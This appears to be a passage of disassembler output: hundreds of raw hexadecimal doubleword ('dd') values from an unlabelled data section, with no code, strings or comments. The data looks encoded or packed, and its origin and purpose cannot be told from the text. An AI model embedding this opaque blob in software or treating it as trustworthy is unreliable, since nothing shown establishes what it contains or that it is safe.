		dd 162085Bh, 0E065DBDh,	2E78A23h, 191E1B0h, 71C97B04h
		dd 23A4D664h, 0BAA1E5A9h, 4B9C6ED8h, 35DEBC85h,	639F891h
		dd 0E58E8AA1h, 5CB7BA59h, 101F6D24h, 457206Eh, 0D56B5EDDh
		dd 791092CBh, 9A0A436Eh, 0C138B4FDh, 4BD3E8E3h,	6DBEC40Ah
		dd 92DFA9EFh, 0E82EA4A0h, 0C592AE1h, 146FC74Fh,	0ED5D4D12h
		dd 51E255E1h, 5E4AE1B0h, 54AB1E4h, 0B74CCB0h, 25E6FEBEh
		dd 0DC31534Fh, 5C4A6CD5h, 5494488h, 7EF341B0h, 0B81FCB0Bh
		dd 0B8A7CE63h, 54AE063h, 71B70EB0h, 0C71CBF1Eh,	7774F088h
		dd 0D2E6FE6Fh, 5E494E1Eh, 9826D9A5h, 61BE26Ah, 54AE1B0h
		dd 4AD8DF41h, 0A88D4D13h, 61BBE22h, 849A4E36h, 54AE1A0h
		dd 0D4897B50h, 1806725Bh, 18060A23h, 54AE149h, 0F1895363h
		dd 5FA348D8h, 5D638973h, 54AE122h, 0B21558B0h, 54ABEBAh
		dd 55B221B0h, 4971A280h, 0FFD648F0h, 0F20B535Ch, 0CCDF4DBEh
		dd 61CAE67h, 4DA73ABDh,	5CC4D13h, 54AE9A0h, 0C6AE1B0h
		dd 0D9DF66E1h, 0F1274A41h, 53B4A41h, 740AE1B0h,	94F2FDE1h
		dd 0B7081B34h, 20E35B47h, 7704E8B0h, 0C3E6FEB0h, 9BD7D6F0h
		dd 0D28B8490h, 0C05B2B55h, 8C5D9499h, 0E153F6C9h, 20424A33h
		dd 0B5261D08h, 0ABF255A3h, 1514A8BDh, 4B6599FDh, 1F61149Bh
		dd 0D9158C02h, 0A3BC5D62h, 0B4F27ED0h, 2E313AEDh, 481A311Bh
		dd 2A4280B0h, 65402DCh,	47401843h, 2EF52C4Ah, 0D139E1E3h
		dd 28D0DACAh, 3D43C678h, 13EB2B20h, 9FAD8E22h, 1381FB1Eh
		dd 7 dup(13818E22h), 6E4A2B22h,	0AFF68E22h, 4B5D19FEh
		dd 0D46B422Dh, 0D41BA92Ah, 67A2BA35h, 5A75E199h, 0CDB7C0AEh
		dd 8208AA2h, 2E0FF5B9h,	236DD98Ah, 712C03D9h, 0E8152541h
		dd 0CCE15CE6h, 0E975BEFBh, 2DE319F6h, 120543F4h, 46195D27h
		dd 80852D42h, 0CE018E38h, 3DEE74ABh, 46A1EA85h,	5A0FB142h
		dd 9C757FDCh, 0C620694Ah, 38ED74ACh, 0B92442BCh, 0BB72FE28h
		dd 435A2BD3h, 20DA9C8Ah, 985F4CF7h, 90F3169Fh, 0E452E64h
		dd 9BA2172Eh, 0A08BFCBh, 752AAF54h, 2B57892Ch, 839ED009h
		dd 0A5ADF47Bh, 0E3B911A3h, 9ED6053h, 0BD7FD8Fh,	0A0FFC668h
		dd 8F818E21h, 0C3CCAEF4h, 35D267D4h, 0BE6A624Ch, 900BF5F9h
		dd 0C40CF31Fh, 38A41739h, 7E087EA9h, 86CA37DAh,	21C72B4Ch
		dd 90DE5071h, 4D8AA2F9h, 5D344983h, 137DBCFDh, 79308E22h
		dd 0BFC70478h, 3ECC660Ah, 748B21Ah, 0F2421C18h,	0F91476B1h
		dd 0B7CFD675h, 0A4959CAh, 0C13B4054h, 0E66450E8h, 9A9F5CCh
		dd 0BB7AE36Ch, 97A14A29h, 78586875h, 7CAEBFE9h,	875D2BC5h
		dd 5328CF8Fh, 840D44Bh,	0BD8D558h, 0A4BA2F54h, 0E05A2FDDh
		dd 271DFB4Fh, 78CF21D2h, 0BD72888h, 54CBDF54h, 1BB2D795h
		dd 46D61196h, 0A60CCACAh, 7E219E22h, 6AA5FCE0h,	0C931E56h
		dd 0B1F81FDFh, 51AE2090h, 75D832F8h, 687BFF95h,	0A3676AE8h
		dd 907526EDh, 0BA16FE2Ah, 8E68B9CCh, 0A097102h,	260E854h
		dd 8D4D9DDEh, 0C45CD77Ch, 0DAAD99DEh, 5DC3F6Fh,	0D98B0749h
		dd 0CEEDB4E9h, 13186B62h, 26DD2422h, 29A7BCA3h,	11E05ADFh
		dd 0E8782CEDh, 0E49E1B5Dh, 0BCA30E5Ah, 2CAE3D0Ch, 85B113FFh
		dd 2CB344E0h, 30D478F2h, 908EF897h, 9E002047h, 333A1C79h
		dd 115A9F97h, 9FEB1C54h, 0A213C47Ah, 5DDFDEAh, 0AD9113C5h
		dd 9B3E45FAh, 6D78FB12h, 3436792h, 0D4654184h, 0E1DA585h
		dd 570FC9Eh, 127265FDh,	32358E22h, 0BCA370B5h, 413B3D0Ch
		dd 0EAA1BC1Dh, 0AAE61584h, 72F7598Bh, 7D1AECA0h, 0FFE80E55h
		dd 54CA67B3h, 8FAB5D24h, 328204CDh, 2018120Ah, 480942FCh
		dd 0ED10A1E7h, 340AF5CCh, 72133C25h, 0F251DCA5h, 0C8DD1A67h
		dd 0EF1F6AADh, 19CFE94Dh, 2D68AB20h, 3C78C23Ah,	0F5CFE971h
		dd 3D3A962Bh, 62ED682Bh, 0C41CC699h, 6CF9A9Fh, 6E758781h
		dd 5900B93Ch, 91818E22h, 5407ABF4h, 91FC6BECh, 8D04BBD2h
		dd 75D97C99h, 0A1E7AAE7h, 12CFE8F9h, 0AAF27CBCh, 8884F103h
		dd 98B21D9Ah, 1EE02ED8h, 14A92A54h, 0F06766CDh,	6A43D485h
		dd 4866D61Eh, 0A4D625Dh, 0F6BCF5CDh, 1F12AE33h,	21B7EB4Ch
		dd 9E8FE9FCh, 21B7E809h, 54F4F36h, 4416DDF8h, 6365CE8Ah
		dd 6FA49105h, 23EF040Bh, 0AA12BF5Ch, 38FCE545h,	4F06B096h
		dd 721506A0h, 4CDE101Ch, 8EC00A65h, 0D4152F78h,	0C0D473DAh
		dd 21B67886h, 0F1E6BB3Eh, 35467D51h, 23FB1BEBh,	4657180Fh
		dd 2422FB2Ch, 0BB0AD23Ch, 0E5EA0601h, 357D72B3h, 5CE89E43h
		dd 1A573EE3h, 3A15E358h, 0D72AE27Fh, 138020F3h,	44CE0FC9h
		dd 557B2037h, 1CF01AD2h, 2F7D1266h, 21B6C97Ch, 838BF4CCh
		dd 1B81A9F5h, 42F97290h, 5B1C1D75h, 6B2137F6h, 1A728939h
		dd 3188E56Dh, 72C3D989h, 995AB71Ch, 0FB904CFBh,	0B808EE8Fh
		dd 980F03E6h, 5AF7F341h, 0DD18C59Bh, 5516DC12h,	75E3B60Bh
		dd 1542C595h, 0B3CACC6Dh, 8D0D71CCh, 133EFD14h,	93368E22h
		dd 0F45D8350h, 721F593Ah, 52E35307h, 55E4B60Bh,	91E1CE48h
		dd 138AEC5Fh, 0D54FD624h, 0EB0D92E2h, 0C21F1547h, 35CF7D7Dh
		dd 3D4FD6B0h, 0DA8741D4h, 562872BDh
		dd 0ACCFD6A1h, 80F4E471h, 6818E21h, 6F68E7A2h, 8329EC53h
		dd 4BB24A54h, 0E140FB3Dh, 46AECFE9h, 32ECFE31h,	9052BEA5h
		dd 1220E38h, 75494ADDh,	1245A2ADh, 4A8549FFh, 39D3FB3Dh
		dd 4A7F1F26h, 0FE71FE29h, 9AC7A701h, 0B0A554FCh, 0C3623C39h
		dd 751FDB89h, 320D55BEh, 7691873Dh, 88DD1319h, 44958151h
		dd 0B5C49F75h, 5DDFDEAh, 0DB4B13C5h, 929EFE8Dh,	0C6A66DADh
		dd 5E1C53AAh, 8A6557E9h, 76969DFDh, 22C1DF37h, 582B6ED6h
		dd 0C0656D32h, 740EE557h, 0ABA5F40Dh, 9342E471h, 758B3553h
		dd 0B4A686B3h, 13639614h, 7335E2DDh, 318F0F07h,	373D6509h
		dd 4C8104B2h, 336596E4h, 0FA0A8C8Dh, 4D8356ADh,	1D55D9C2h
		dd 6E0C1CBCh, 3D8AB93Ah, 92181294h, 4A36AB96h, 0ECAB78E6h
		dd 0ED8EA702h, 0D374CB62h, 78AC9D14h, 7AA81096h, 324B826Eh
		dd 0E64FBBCEh, 2F68336Ah, 0D18B6176h, 8B0274Fh,	0CF889D77h
		dd 0D83B6FB3h, 81CEC63Ah, 12BDF12Eh, 0A0008E22h, 9F6E8E29h
		dd 0F78FEF83h, 792B6359h, 697BA1A9h, 2FB1FA67h,	0B5CB57F0h
		dd 39D98246h, 137410FBh, 9F99AAB7h, 0FCEC00Dh, 17607297h
		dd 0E35B811Dh, 0D91F0B12h, 13818A63h, 6E68A122h, 37D5E5A3h
		dd 1DD5F2ADh, 4FD10ADh,	13818E3Eh, 138C38D5h, 3E008E22h
		dd 6E09E2DEh, 0F3D296DEh, 0C6068E22h, 1645E0C3h, 747FB999h
		dd 80AB27D5h, 0A5FD3170h, 0F1A4D2E3h, 6AB938AEh, 589B4832h
		dd 0AEFEEA56h, 13818E3Dh, 138C12D5h, 6E068E22h,	0EB3D15DEh
		dd 0C3D5F2CFh, 6F812EADh, 0E0818E22h, 6E008A61h, 6E07E2DEh
		dd 4029B4DEh, 138DC4D5h, 98FE8E22h, 13818E3Dh, 37D43DA3h
		dd 35D0Dh, 44D4F12Bh, 0AC22EA5Fh, 75F76723h, 9DF3AB6Ah
		dd 0B4C12122h, 44A01C01h, 141C13F6h, 3DE8F486h,	0F1F818B3h
		dd 965845A4h, 3DAD30AEh, 0F4CF8215h, 60012990h,	0AC60B8EDh
		dd 0B72833C8h, 28573780h, 0E1C2C81h, 2CDEC6EBh,	78F5980Fh
		dd 0C18151E9h, 47FB66C2h, 0B13C1CFAh, 12032BC1h, 94DE8E22h
		dd 1319A5CFh, 36088E22h, 0AAB4EF81h, 8156F034h,	66C98140h
		dd 20F4A784h, 897D8822h, 503A2CF4h, 2C1810CDh, 0CF4FF70Eh
		dd 133BE682h, 3	dup(13818E22h),	0D8442B22h, 7F298E37h
		dd 4A7F602Ah, 13B67392h, 9CB64DBAh, 45C22B22h, 3CA0252Ch
		dd 4A7F605Fh, 13B67026h, 9C4371BAh, 452E2B22h, 0B1A0252Ch
		dd 4A7F61E5h, 13B6737Ah, 9C996ABAh, 447A2B22h, 0DDA0252Ch
		dd 4A7F6038h, 13B670AEh, 9C81D4BAh, 6C062B22h, 22A0252Ch
		dd 4A7F7D55h, 13B673A2h, 7E0142CBh, 0A6E70723h,	42BA7E30h
		dd 413F7F1Eh, 8CBB3299h, 0DAB6542Eh, 8F223482h,	151CCE18h
		dd 4ADA56EAh, 0E8FB0F84h, 0B44A8118h, 89F503DCh, 6F68E7A1h
		dd 2115B153h, 6519A4FDh, 247CD3h, 0FD9D3C22h, 13DE5A69h
		dd 4A39F2CCh, 5FBD74FEh, 0F5F4D94Eh, 0D6157ABFh, 74B787E7h
		dd 211748FBh, 809F28D1h, 0CC9924D7h, 38E63F93h,	4770E27Fh
		dd 0B8EA712Dh, 0B4AB4801h, 0F4D55F5Dh, 32124FE9h, 5C8C71A3h
		dd 3776D3BDh, 0D36AC149h, 0B2B0EE93h, 5AF6F72Ch, 0DF7F11F2h
		dd 2FC85716h, 9A75B4E1h, 0A7DD3AC7h, 87556810h,	0B92A6F8Ah
		dd 6ABB64Fh, 0D05D90E9h, 1F65698Ah, 59C2FF7Bh, 7C7C4B65h
		dd 52875465h, 219CD16Bh, 906556CFh, 0AA4D4226h,	582A0845h
		dd 444BD67Ah, 6252D285h, 44E24D3Eh, 0EB7BD67Ah,	0CCE12686h
		dd 0D923AA1Ch, 0EBD0EA06h, 0E2CA8E36h, 0F1D284DAh, 0D98B1EA9h
		dd 9CEFC8B6h, 53633610h, 8EB55A15h, 0B9729451h,	0B4AB78E5h
		dd 0F7DA9B0Ch, 0B1E0D084h, 93D13A43h, 2A45E591h, 0AB0ED3B2h
		dd 5D6D10D3h, 0C6A5F36Bh, 0C10E057Fh, 336BFE31h, 1EAFF261h
		dd 57D61CAFh, 0AE2997F4h, 5750F5F5h, 158AE6F4h,	0DAD1E37Fh
		dd 46180F2Bh, 0C62B4339h, 23BBF86Ah, 39C7657Ch,	0ACD4C4A5h
		dd 0D353A5DDh, 0D324D41Fh, 77E6DE4Dh, 7FF7CAC3h, 6202626Dh
		dd 72D10A0Ch, 0D05BBB6Ah, 559A9199h, 0F87668FCh, 2D46115Bh
		dd 953422DDh, 7EBDF4EBh, 98BEE6F4h, 2A623CE7h, 9046115Ch
		dd 92E705A4h, 0AFDF308Eh, 47334056h, 9E6DC57Eh,	0BFD4350Ah
		dd 0C55C0B0Eh, 0A5808ED8h, 0AEA240ABh, 45B0ECB5h, 0A40B1A95h
		dd 173BACC7h, 7ECC3EB6h, 0C0D1C0EAh, 5888AC8Fh,	2CF87802h
		dd 0E692DE7Eh, 0E2005497h, 894CB931h, 1E1938E4h, 7E7F686Dh
		dd 0D3C1E57h, 2B763D4Bh, 0F245E2D1h, 0E0279B00h, 40750B89h
		dd 561EA2DFh, 0E7605DEEh, 0D7FE237Eh, 0BC52CEBEh, 0EB8DBFD4h
		dd 0A776240h, 57CE7F0Ch, 0E883E97Ah, 0DC070BD7h, 0F4D7968Ah
		dd 0E53C8FEEh, 3301A770h, 3FAB2183h, 85DC37DCh,	0C7CAA6B4h
		dd 0BAEF9894h, 0E46A434Dh, 0F6F19801h, 0DF6BA20Fh, 198ED89Ch
		dd 55374B38h, 29BA66FCh, 0F8130979h, 140BDB8Ch,	0FFCACB74h
		dd 61D940D4h, 6100FF94h, 9A45E592h, 700DCEC2h, 0D619E2BAh
		dd 0C5B2E07Bh, 0D3BBF86Ah, 77E5AFCCh, 349503A1h, 7A63A355h
		dd 796445AEh, 568ADEBAh, 2D7005F4h, 568A7576h, 0A77855F4h
		dd 0BD51C8EDh, 0FE8D7FD7h, 584D689Bh, 0DA8881B5h, 45EFB92Bh
		dd 3F934339h, 0B28A28DDh, 0BEB90F82h, 40753642h, 0AB0E72DFh
		dd 7C7A7A03h, 0E920910Bh, 342D3810h, 23939667h,	0E7B77B01h
		dd 2CC055ACh, 9E123811h, 2D2257E5h, 0EF5B3811h,	0DD77D58h
		dd 36CAC5E6h, 0E25BBFE0h, 61A61D6Ah, 0F0BE5660h, 0CA45CBACh
		dd 37EF7CF8h, 0F7072594h, 942C9CE4h, 0B1D55EE5h, 9F9923AFh
		dd 5A868B58h, 8E52A71Ch, 0A2641C04h, 9785A54Fh,	45B13D20h
		dd 7DC1C41Eh, 437B9656h, 0A3DF1884h, 0CB53EB81h, 0D7AFE38Bh
		dd 0E9430681h, 7AEEB8BCh, 0DFD86EE4h, 56C6C044h, 195B3E4Fh
		dd 457880E7h, 2DA65AF4h, 56338D0Ch, 26C54E3Fh, 209B5576h
		dd 83D56EC2h, 2ABA9Fh, 238667C3h, 5FE4EA23h, 176FAED0h
		dd 0BBDC4DDDh, 49D59F73h, 56B0B7DFh, 0BBC62C17h, 1D92A90Ch
		dd 0D4AA1CBFh, 3111876Bh, 0F96338E4h, 0FCAD16D7h, 0C7A91564h
		dd 22B9F37Fh, 452070F0h, 10D0EF8Dh, 0AD45E5ABh,	0B5E8625h
		dd 97921DBh, 1BDD3642h,	430397FFh, 4F947A8Fh, 0E01AD798h
		dd 0C5BA6F94h, 6EC0E037h, 60D6FF10h, 2E87FBDFh,	6458DAF1h
		dd 0B41DB2BDh, 1DCA99A7h, 9353C0FBh, 0FBDE434Eh, 62463DBDh
		dd 0CBAFD7ECh, 8E22E9C8h, 0D98818B4h, 0E4C98BF7h, 1B9ED56Ch
		dd 0E007BA41h, 4376A617h, 0DDEC7CA9h, 547D3637h, 0E645E589h
		dd 9A0DDFA5h, 3AA57312h, 0D60D1FF4h, 0A6738B74h, 5FFF2465h
		dd 3E7038B6h, 86970E69h, 2336EEBFh, 2CA61917h, 45B1433Ah
		dd 0FC66D23h, 95294339h, 4710D1E1h, 0FADEAD8Eh,	0E2E56BC3h
		dd 1C665FF3h, 0DDC46EFDh, 0F3B839F9h, 8D41B958h, 7045E83Fh
		dd 0B0757A33h, 0BE3E904Ah, 8696F074h, 0F5D56A01h, 0A1DEEDA7h
		dd 0BE952B55h, 237D89Fh, 3345E8DAh, 608424F2h, 0D5181BE1h
		dd 0AF33378Ch, 0A22F603Dh, 142DDE34h, 0DE14D30Ch, 3BB47384h
		dd 0B7D8206Dh, 0B5B14337h, 4D71F93Eh, 0FAEC03BDh, 340EB82Bh
		dd 5AC3AB37h, 0C11FC07Dh, 0E7B781CBh, 0DB7D50F4h, 0FD0279Bh
		dd 0A99E3FFDh, 9EC08727h, 77E77CABh, 644D414Bh,	0B0C5C7AEh
		dd 0DA3C391Eh, 0D027DC3Bh, 2090CAF4h, 0BB43BA7Ch, 47FFEC52h
		dd 4A239CD1h, 5D61ED2Ah, 916F86Bh, 0C99C3AFBh, 0BEF0301Eh
		dd 5049E194h, 0DBA4F514h, 0BD3A0331h, 32B1434Dh, 454909F7h
		dd 1EC88B39h, 0E898AF63h, 0CC153810h, 8CE9F146h, 2E45E58Dh
		dd 0E0B39BC5h, 277013E1h, 77E79F2Eh
		dd 0C152814Ch, 0DD34B43Ch, 0CD55794Bh, 7CC02880h, 0D5AD0B34h
		dd 64434632h, 28B6CAC3h, 0A80E8471h, 918F2384h,	2BD3C4CAh
		dd 0F7325942h, 0B5FEE853h, 0A074E6C0h, 0EB7D9199h, 0B955C046h
		dd 0BB562D4Fh, 3BC9CDE2h, 3469E595h, 53F715E5h,	642CBB0Ch
		dd 0DB1F2E91h, 564374E3h, 0F2D1A92Ah, 9AEC9F1Bh, 1B14355h
		dd 99BE04FBh, 5EA7FFD9h, 84FA8B08h, 47FFA7BBh, 0FDBB9CD1h
		dd 440E8827h, 3F707B01h, 0A1140BD8h, 3DD24C69h,	0D3256B43h
		dd 77E7938Eh, 0A3714547h, 45B0EEBBh, 71ADA693h,	4DFF2465h
		dd 0C5750AACh, 3027296Ah, 146529C5h, 637D9403h,	0C245E841h
		dd 789437CAh, 0F23E61A1h, 17E282BAh, 0E81CE3B0h, 0FE45E853h
		dd 0EEB78234h, 6AA7E888h, 0A345E854h, 0A2F55B42h, 6442D2E3h
		dd 0C2103993h, 505E94FEh, 714669A4h, 0B821395Eh, 12CF3547h
		dd 0F996C4Eh, 0F1A05745h, 3CEC54Eh, 0FFEB6C52h,	0DC2F7B87h
		dd 745C4BE3h, 0F2DC94E1h, 42A3CCF0h, 51B1434Eh,	0E88E36ABh
		dd 0AE7848A8h, 0D44B3B17h, 0D6CFD74Ah, 8DCBE2E0h, 484BB838h
		dd 3720B4F1h, 0F3C3C4C8h, 0CAB55998h, 0E2B49B32h, 77E78A9Eh
		dd 2F987537h, 0F53994AEh, 2AEFC877h, 8D743747h,	0CADE9BA3h
		dd 0EB2EBCB8h, 0E4277923h, 9CD9A423h, 0D1EEFDDDh, 691E350h
		dd 96C11E66h, 725201D9h, 255EEA82h, 8E865475h, 6CFBC943h
		dd 95528F5Bh, 0DF258EAEh, 6B6BBEC9h, 0DAE1E99Fh, 0A519A9F3h
		dd 76410BB0h, 7FB14339h, 39982AB9h, 57AF3907h, 131770F4h
		dd 0D79A919Ch, 0D44A4134h, 2FAFF274h, 31A80FE6h, 944610FBh
		dd 0C210D1DEh, 727A0A2h, 9B769D27h, 0D12C536Ch,	0DD8B65CBh
		dd 371FA2E0h, 7D954339h, 0E883FC7Fh, 0A50D80D7h, 96CA3C7h
		dd 0E8D03E8Eh, 0B4EA3810h, 5D6C8B64h, 0E3D5446Bh, 6C0D3006h
		dd 0CBCAE1A9h, 0F48A18ADh, 0C210078Dh, 0F7C813A9h, 565F0243h
		dd 0B3E05D0Fh, 78B40883h, 0DBA6FB99h, 0AE9A53E1h, 580BC517h
		dd 0D1DB14F4h, 0AEA5DC87h, 4655EC7Fh, 0F6BB3643h, 98670404h
		dd 7559FB33h, 7F071EA6h, 0D726D7CDh, 310F2E6Eh,	78B14339h
		dd 39982AB9h, 6CEE5E07h, 0E1F26BF4h, 6C6A80E1h,	0C38DCAF4h
		dd 0D6A0D85Ch, 745B04EAh, 0F6084174h, 0DA910351h, 449D3A2Bh
		dd 2FA84339h, 0E728C7AEh, 0FE152BA9h, 0CCF29B03h, 26614FB5h
		dd 4710949Eh, 25B9C444h, 31CB325h, 70D9504Fh, 8898D320h
		dd 955DE3D2h, 574B9DB5h, 5F1E3654h, 8649E3B0h, 45506C75h
		dd 52916E22h, 0DDD92E5Bh, 18AC4150h, 0CCF22737h, 7B84679Ch
		dd 0C1A620Ch, 0F9CB9E49h, 94D7E420h, 0CFACF495h, 0E81CE388h
		dd 20E19FAh, 0FA18C335h, 0E573E4C9h, 0B02A986Ch, 559323AFh
		dd 0FFC707C1h, 0AD2AE681h, 45ADF4ABh, 9478F539h, 7B5EAE8Eh
		dd 30FC073Ch, 234C7C59h, 36CB6FC4h, 0DF5BA2C8h,	4117503Bh
		dd 0C6802723h, 132F5823h, 6824D64Ah, 0EBAD4E2Fh, 0D5693641h
		dd 3DCE238Ah, 0A7784A43h, 1E313D35h, 47FFEC52h,	0E50822D1h
		dd 459B323Ch, 6CFD53BBh, 710177F4h, 10B3EB11h, 64648C33h
		dd 19A0087h, 11C71624h,	622EED4Ah, 3633B1A5h, 49C76E39h
		dd 3F38E57Ch, 935BD1DAh, 7784B25Bh, 0D3D30F5Eh,	26CF2B82h
		dd 18B7588Bh, 7A1031A1h, 0FE1B4FA4h, 18B75BACh,	0D5C2B45Ch
		dd 4896E99Ah, 748555FCh, 0AF312BBDh, 14CF1E2Fh,	56516407h
		dd 809831A8h, 0FD47A943h, 0AAFB6C93h, 0FA64D88Dh, 0F0A49F4h
		dd 2032F6E5h, 465AEB74h, 6BA3F6FFh, 2FBFC16Bh, 5879C678h
		dd 0C2B830F6h, 4156C5B9h, 10C66056h, 0AF27A525h, 2D4AEBC5h
		dd 29962DC6h, 97FC14F2h, 83FBFA00h, 0D93EB6FCh,	268C66h
		dd 3EE148C3h, 354B29DAh, 0FFE3E215h, 5797DE7h, 0C48E890Ah
		dd 1321A51Fh, 1ED431DBh, 9D0AFC66h, 99A19592h, 0FD32CDBBh
		dd 9744B92Ah, 8E9CDC9Bh, 0A0A3CB7Ch, 695B902Dh,	0CF57C859h
		dd 66E8AD97h, 79B81D16h, 935BA45Eh, 285B25Bh, 0ACFCA7A9h
		dd 0B60E1BA4h, 47DE7101h, 7CE8CE6Dh, 416E90C0h,	0DCF64643h
		dd 42C9491Fh, 0F062B95Ch, 0B33FBFE4h, 0E4B69740h, 7A743E8h
		dd 31ABCE4h, 96C15B0Ch,	0DCF6E08Dh, 38D2F1Fh, 1709FFC1h
		dd 187E9FCAh, 862908C6h, 0B31B2EA6h, 0BFB68A29h, 0BDEAB9ECh
		dd 0F5C22BB4h, 0FE091614h, 0B8296C2Fh, 0D50DDA93h, 1E447E1h
		dd 35F05B10h, 0B31B2E9Ch, 95AD2CBCh, 96622027h,	0E069C4D7h
		dd 778FD662h, 27B4078Fh, 3F382411h, 74B542DAh, 0B28B546Ah
		dd 0F04FDFB8h, 0B0A734DEh, 42A564A4h, 0D7FF690Ah, 0BA859485h
		dd 0E754772h, 5DB5CEC6h, 64449F5Ah, 0D150D77h, 53E3B782h
		dd 362E4504h, 337E54ECh, 0B03829DAh, 62B92DF4h,	0BAB0151Eh
		dd 8F1A411Eh, 62B329DAh, 0DDB0681Eh, 3F4CF827h,	15B529DAh
		dd 538CA6BEh, 526CA1B6h, 673A71EAh, 362A235Ch, 0B1AEACD8h
		dd 8AB21672h, 33745239h, 3E33B642h, 539CACDAh, 0B1B3A24Fh
		dd 62255AA2h, 0F2B95C1Eh, 5204AABEh, 899BA1B7h,	3F382667h
		dd 337B52DAh, 5A6C3E59h, 517DF2EFh, 93C59AD1h, 6F886C37h
		dd 3039DD18h, 5600CE9Bh, 0E46F7D53h, 8B29EC8Ch,	0C6A8B0Bh
		dd 193FF208h, 9E1F56AEh, 0F8516AE1h, 6260BE78h,	9C83C0D1h
		dd 0E718F7D9h, 1AF5E347h, 0E8569625h, 3155FB0h,	0D51BA65Eh
		dd 0E09DD549h, 2833735Dh, 0DD29B9EAh, 0E12E984Fh, 9A15A6D7h
		dd 0E6E6B7EDh, 8B9DB5CBh, 55A18582h, 1B560785h,	6D299F62h
		dd 133FD266h, 16D277E1h, 6E61F523h, 85C2169Ah, 6AFE4697h
		dd 0A464273h, 0C44C3023h, 8D73ED9h, 83829DAh, 81D7A16Ah
		dd 8139C3FDh, 339968DAh, 5F3829DAh, 3607EF73h, 0BE4C0646h
		dd 44C0CFEh, 723829DAh,	959592EBh, 71881033h, 2A2FB899h
		dd 95EC2D37h, 0B11E29DAh, 74A8FCC9h, 0E47F15Bh,	3F3829D9h
		dd 44A047DAh, 3F38D2C2h, 0F06109DAh, 537CA171h,	53F454BEh
		dd 3F38D3BEh, 0F02966DAh, 6CDF8FF5h, 0DE68BF27h, 4EBB88D1h
		dd 3F922D37h, 3F35C1EAh, 465829DAh, 72975A85h, 72BB2D1Eh
		dd 3F692D1Eh, 8FF829DAh, 0EE0A7F85h, 49C7A112h,	0DC39C457h
		dd 0EA0D42Bh, 59A047D9h, 3F38D2C2h, 0F06209DAh,	5324A170h
		dd 53F454BEh, 3F3820BEh, 0F02B6FDAh, 959B684Bh,	0F2E6D60Ch
		dd 0CF7183D6h, 3F382832h, 3F3802EFh, 1940D4DAh,	419940C5h
		dd 0D1FFEBEDh, 96D54D6Ch, 0C647F665h, 0D01D240h, 0B4AB29EBh
		dd 220DE92Ch, 0FAD02A13h, 0F4D4A125h, 0A4B9AD3Ch, 2F7FD689h
		dd 0B9F17F05h, 0B79332BDh, 2835D4Ch, 8C67E4C7h,	0E6A6F1A7h
		dd 0C357A32Fh, 0A26B49E4h, 0DD12F0F1h, 68A41C7Dh, 94BBA896h
		dd 45E620C8h, 0AB76DDD9h, 0F93E1760h, 7F779402h, 64894F5h
		dd 1FE6C514h, 0A775B133h, 0AD5AAE1Dh, 0D6D865DEh, 0ADE0A210h
		dd 47796E1Eh, 9181C953h, 8CFBEE22h, 0E4E0C580h,	0DE36415Dh
		dd 9CC8DDC7h, 6F55A6E3h, 0E5402878h, 85EDF2B3h,	54B17DFFh
		dd 0E4E0A204h, 0FFCFCBAh, 138A264Eh, 574AD053h,	5C750769h
		dd 275226E7h, 0F475649Dh, 0E4E0A211h, 78958CC5h, 0F18A269Fh
		dd 1D98DC8Fh, 5CA9D2C1h, 0CDAB3EE7h, 0E4E0A2FEh, 0A2EF46A0h
		dd 0F0BF4C41h, 0D353345Dh, 0BAE0A210h, 52C739B9h, 36982B1Bh
		dd 0F4FBDA44h, 0AC2A93AAh, 83B2105h, 8CFB54ADh,	0AC2A93A6h
		dd 4C41FB0Fh, 0E4E0A678h, 0EFFFAB10h, 0F7E0A210h, 0E4E0A3E7h
		dd 0A3FE7FA0h, 0F74A4A44h, 0E4E0A443h, 3FDB9442h, 0E8923638h
		dd 2F9099A2h, 35C0C3C2h, 0BF4402C1h, 0ECA296E7h, 97FBC926h
		dd 0ECA3CEA4h, 8E41E825h
		dd 32AA92FFh, 0CE6DC216h, 16EBFF5Bh, 0B9097D8Ah, 86E39623h
		dd 0E4E37BBBh, 163D50E3h, 0C8CABDD4h, 0C93AE40Fh, 0E4E36D0Fh
		dd 171BEE3h, 9E74C0FEh,	71D479Ah, 0E4E370DCh, 49C751A5h
		dd 10C78F89h, 0B9A5402Dh, 0DDDE27E9h, 41B8F211h, 5FE46CC0h
		dd 246A7FFEh, 0DD69C962h, 38E3671Ch, 0B96CAF14h, 0D652D823h
		dd 502E70E3h, 0ADD76B28h, 2C36E990h, 19D878B2h,	0F85CB8AAh
		dd 0ADD6A8C4h, 0FC707CE3h, 0D652C732h, 502E70E3h, 0ADD76B28h
		dd 12F3E990h, 19D86729h, 6F55B8AAh, 0AE5E12Ah, 0E27BCACAh
		dd 0E4E36184h, 0A7068AE3h, 2525680Bh, 0C4C3ACAEh, 0E5A95D2Ch
		dd 0D7270E3h, 457427E7h, 4556DC28h, 4837342Ch, 56398406h
		dd 5F705CC0h, 29A864FEh, 0E4E3657Ah, 0ADB70763h, 0E4E37E99h
		dd 1B248AE3h, 0F79C962h, 0E5E3671Ch, 0E4E015D8h, 14248AE3h
		dd 0F81F499h, 0E5E3671Ch, 0E4E3568Fh, 4F6F6E3h,	0E4E3615Fh
		dd 0E4E06BA4h, 0C3B6A0E3h, 3B29D3E1h, 71DA0ED6h, 7D74982Ch
		dd 0A763B04Ch, 0E4E370E3h, 6F55D291h, 287CE429h, 1DE139C8h
		dd 9DE3DDFEh, 0E4E37BBBh, 163850E3h, 0C8D2BDADh, 0C93AE40Fh
		dd 0E587500Fh, 0E930A7E3h, 8B069523h, 0B81481C1h, 0ADEFE575h
		dd 3B01E190h, 0CC09679Fh, 0E4DD1733h, 940370E3h, 692EB822h
		dd 6906616Fh, 0E57E616Fh, 0D5A370E3h, 56537422h, 7E6A91DFh
		dd 0DFA923B5h, 0ADB9F325h, 0E4E06B5Dh, 0A8603FE3h, 7E370E3h
		dd 0E4E3701Bh, 0AB26EA80h, 97EECD5Eh, 4955D586h, 7589CB7Eh
		dd 0CEE37F0Fh, 0D68B91E3h, 4E370E3h, 0A7323BA0h, 4C7B4B07h
		dd 0D87B4CCFh, 93E370E3h, 0C4AC3BA8h, 397A356Fh, 0F65AA377h
		dd 0E4E068A8h, 6F3270E3h, 1DE051B0h, 9DE3DDFEh,	0E4E37BBBh
		dd 163850E3h, 0C8D2BDADh, 0C93AE40Fh, 0E4E3670Fh, 0E930A7E3h
		dd 0CFC22E15h, 25FCFA81h, 993ACBC1h, 0E4CCFF15h, 57A89F33h
		dd 0E4E370E3h, 0DCA85533h, 0E4E024A4h, 0BCDA82E3h, 0ED708B18h
		dd 0E5053179h, 0AC3BAD34h, 0CE277C84h, 0D68B57E3h, 4E370E3h
